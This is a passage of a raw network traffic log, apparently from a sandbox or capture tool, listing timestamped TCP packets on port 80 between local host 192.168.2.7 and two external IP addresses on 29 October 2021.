Oct 29, 2021 15:31:14.576078892 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576113939 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576216936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576234102 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576246977 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576292038 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576432943 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576450109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576467991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576474905 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576487064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576512098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576549053 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576554060 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576570034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576585054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576638937 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576874018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576893091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576934099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576951981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576965094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576970100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576987028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576987982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577027082 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.577114105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577131987 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577150106 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577167034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577183008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577184916 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.577231884 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.577841043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577861071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577877998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577894926 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.577900887 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577948093 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.577964067 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.577982903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.578001976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.578001976 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.578021049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.578037977 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.578041077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.578082085 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.578093052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.578105927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.578161001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.635783911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635823965 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635842085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635853052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635869980 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635898113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635914087 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635931969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635953903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635962009 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.635974884 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.635993004 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636014938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636038065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636044025 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636063099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636071920 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636080027 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636123896 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636274099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636338949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636346102 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636363029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636389971 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636408091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636420965 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636421919 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636430025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636471033 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636492014 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636598110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636615992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636627913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636636972 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636761904 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636796951 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636818886 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636840105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636871099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.636889935 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.636945963 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637263060 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637288094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637303114 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637321949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637346029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637370110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637376070 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637387037 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637411118 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637415886 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637429953 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637447119 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637460947 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637478113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637531996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637536049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637562990 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637586117 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637592077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637602091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637626886 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637846947 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.637921095 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.637934923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638078928 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638099909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638145924 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.638632059 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638659954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638680935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638704062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638705015 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.638724089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638739109 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.638746023 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638763905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638784885 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.638788939 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.638822079 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.638993979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.639017105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.639038086 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.639045954 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.639059067 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.639080048 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.639090061 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.639096022 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.639139891 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.684506893 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684541941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684560061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684577942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684593916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684611082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684627056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684643030 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684659958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684669018 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.684672117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.684740067 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.684788942 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.696229935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696259975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696275949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696294069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696310043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696327925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696341991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696392059 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.696418047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696438074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696454048 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.696455002 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696470976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696485996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.696526051 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.696631908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696651936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696667910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696681976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.696723938 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.696753025 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697035074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697052956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697069883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697088957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697104931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697107077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697122097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697134972 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697141886 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697168112 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697377920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697393894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697410107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697422981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697429895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697438955 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697442055 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697458982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697494030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697604895 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697623968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.697642088 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.697977066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698007107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698031902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698039055 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698048115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698074102 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698074102 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698098898 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698123932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698124886 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698142052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698160887 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698189974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698215008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698241949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698240995 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698260069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698282003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698508978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698537111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698561907 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698724031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698749065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698769093 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698774099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698800087 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698817968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698818922 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698842049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698867083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698868036 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698889971 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698906898 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.698914051 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.698952913 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.699084044 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.699112892 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.699136019 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.699152946 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.699167967 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.699187040 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.699947119 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.699975967 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700001001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700023890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700041056 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.700048923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700064898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.700076103 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700094938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700115919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700117111 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.700141907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700162888 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.700166941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700185061 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.700218916 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.741075039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741117954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741142035 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741159916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741177082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741193056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741209030 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741231918 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741250038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741256952 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.741267920 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741286039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741298914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.741305113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741333008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.741358995 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.741426945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741455078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741472960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741488934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741498947 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.741528034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741542101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741605997 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.741811991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741831064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.741889954 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.757385015 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757419109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757436037 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757453918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757469893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757488966 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757502079 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757518053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757534981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757551908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757564068 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757575989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757586002 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.757595062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757607937 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757626057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757652998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757674932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757689953 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757703066 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.757750034 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.757870913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757888079 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757905960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757924080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.757926941 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.757972002 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758189917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758218050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758238077 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758258104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758261919 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758275032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758292913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758305073 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758322001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758323908 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758343935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758366108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758371115 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758383036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758395910 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758399963 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758423090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758435965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758443117 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758466005 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758580923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758625031 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758666039 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758682966 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758697033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758713007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758728981 CEST	80	49842	45.141.84.21	192.168.2.7
